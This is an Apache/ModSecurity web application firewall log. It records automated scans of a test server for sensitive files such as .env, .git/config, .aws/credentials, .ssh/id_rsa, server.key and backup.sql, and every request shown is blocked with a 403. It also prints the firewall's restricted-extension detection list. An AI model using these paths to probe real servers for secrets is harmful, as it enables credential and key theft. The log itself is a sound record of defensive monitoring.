[Sat Jun 28 22:40:21.838737 2025] [:error] [pid 2859303] [client 159.89.12.166:49840] [client 159.89.12.166] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aGBTNdQM1WyjkQnpCLxK_AAAAAY&quot;]
[Sat Jun 28 22:40:21.838948 2025] [:error] [pid 2859303] [client 159.89.12.166:49840] [client 159.89.12.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aGBTNdQM1WyjkQnpCLxK_AAAAAY&quot;]
[Sat Jun 28 22:40:21.839108 2025] [:error] [pid 2859303] [client 159.89.12.166:49840] [client 159.89.12.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aGBTNdQM1WyjkQnpCLxK_AAAAAY&quot;]
[Sat Jun 28 22:40:21.889624 2025] [:error] [pid 2859303] [client 159.89.12.166:49846] [client 159.89.12.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGBTNdQM1WyjkQnpCLxK_QAAAAY&quot;]
[Sat Jun 28 22:40:21.889853 2025] [:error] [pid 2859303] [client 159.89.12.166:49846] [client 159.89.12.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGBTNdQM1WyjkQnpCLxK_QAAAAY&quot;]
[Sat Jun 28 22:40:21.890010 2025] [:error] [pid 2859303] [client 159.89.12.166:49846] [client 159.89.12.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGBTNdQM1WyjkQnpCLxK_QAAAAY&quot;]
[Sat Jun 28 22:40:21.940751 2025] [:error] [pid 2859304] [client 159.89.12.166:49848] [client 159.89.12.166] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGBTNV_BsO_XCV0AK5pt0AAAAAc&quot;]
[Sat Jun 28 22:40:21.940967 2025] [:error] [pid 2859304] [client 159.89.12.166:49848] [client 159.89.12.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGBTNV_BsO_XCV0AK5pt0AAAAAc&quot;]
[Sat Jun 28 22:40:21.941125 2025] [:error] [pid 2859304] [client 159.89.12.166:49848] [client 159.89.12.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGBTNV_BsO_XCV0AK5pt0AAAAAc&quot;]
[Sun Jun 29 06:35:14.813702 2025] [:error] [pid 2968165] [client 213.232.87.230:14875] [client 213.232.87.230] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGDCguU-dj-hWt1UAd7gOQAAAAU&quot;]
[Sun Jun 29 06:35:14.813903 2025] [:error] [pid 2968165] [client 213.232.87.230:14875] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGDCguU-dj-hWt1UAd7gOQAAAAU&quot;]
[Sun Jun 29 06:35:14.814068 2025] [:error] [pid 2968165] [client 213.232.87.230:14875] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGDCguU-dj-hWt1UAd7gOQAAAAU&quot;]
[Sun Jun 29 06:35:14.815095 2025] [:error] [pid 2967920] [client 213.232.87.230:19139] [client 213.232.87.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aGDCgq1XEc-sC3fb0P3MKQAAAAI&quot;]
[Sun Jun 29 06:35:14.815358 2025] [:error] [pid 2967920] [client 213.232.87.230:19139] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aGDCgq1XEc-sC3fb0P3MKQAAAAI&quot;]
[Sun Jun 29 06:35:14.815526 2025] [:error] [pid 2967920] [client 213.232.87.230:19139] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aGDCgq1XEc-sC3fb0P3MKQAAAAI&quot;]
[Sun Jun 29 06:35:14.816358 2025] [:error] [pid 2967919] [client 213.232.87.230:63001] [client 213.232.87.230] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGDCgntTxOj9v32ojom5mgAAAAE&quot;]
[Sun Jun 29 06:35:14.816506 2025] [:error] [pid 2967919] [client 213.232.87.230:63001] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGDCgntTxOj9v32ojom5mgAAAAE&quot;]
[Sun Jun 29 06:35:14.816673 2025] [:error] [pid 2967919] [client 213.232.87.230:63001] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGDCgntTxOj9v32ojom5mgAAAAE&quot;]
[Sun Jun 29 06:35:14.818389 2025] [:error] [pid 2967918] [client 213.232.87.230:62577] [client 213.232.87.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGDCgjOxdet7QOoqVXWV0gAAAAA&quot;]
[Sun Jun 29 06:35:14.818538 2025] [:error] [pid 2967918] [client 213.232.87.230:62577] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGDCgjOxdet7QOoqVXWV0gAAAAA&quot;]
[Sun Jun 29 06:35:14.818687 2025] [:error] [pid 2967918] [client 213.232.87.230:62577] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGDCgjOxdet7QOoqVXWV0gAAAAA&quot;]
[Sun Jun 29 06:35:15.062190 2025] [:error] [pid 2967922] [client 213.232.87.230:44125] [client 213.232.87.230] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aGDCg33T5w8Ph4-X-hFFjgAAAAQ&quot;]
[Sun Jun 29 06:35:15.062419 2025] [:error] [pid 2967922] [client 213.232.87.230:44125] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aGDCg33T5w8Ph4-X-hFFjgAAAAQ&quot;]
[Sun Jun 29 06:35:15.062608 2025] [:error] [pid 2967922] [client 213.232.87.230:44125] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aGDCg33T5w8Ph4-X-hFFjgAAAAQ&quot;]
[Sun Jun 29 06:35:15.069443 2025] [:error] [pid 2967920] [client 213.232.87.230:3493] [client 213.232.87.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aGDCg61XEc-sC3fb0P3MKgAAAAI&quot;]
[Sun Jun 29 06:35:15.069615 2025] [:error] [pid 2967920] [client 213.232.87.230:3493] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aGDCg61XEc-sC3fb0P3MKgAAAAI&quot;]
[Sun Jun 29 06:35:15.069755 2025] [:error] [pid 2967920] [client 213.232.87.230:3493] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aGDCg61XEc-sC3fb0P3MKgAAAAI&quot;]
[Sun Jun 29 06:35:15.072291 2025] [:error] [pid 2967918] [client 213.232.87.230:18073] [client 213.232.87.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.pwd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/service.pwd&quot;] [unique_id &quot;aGDCgzOxdet7QOoqVXWV0wAAAAA&quot;]
[Sun Jun 29 06:35:15.072552 2025] [:error] [pid 2967918] [client 213.232.87.230:18073] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/service.pwd&quot;] [unique_id &quot;aGDCgzOxdet7QOoqVXWV0wAAAAA&quot;]
[Sun Jun 29 06:35:15.072704 2025] [:error] [pid 2967918] [client 213.232.87.230:18073] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/service.pwd&quot;] [unique_id &quot;aGDCgzOxdet7QOoqVXWV0wAAAAA&quot;]
[Sun Jun 29 06:35:15.516488 2025] [:error] [pid 2967918] [client 213.232.87.230:33515] [client 213.232.87.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aGDCgzOxdet7QOoqVXWV1AAAAAA&quot;]
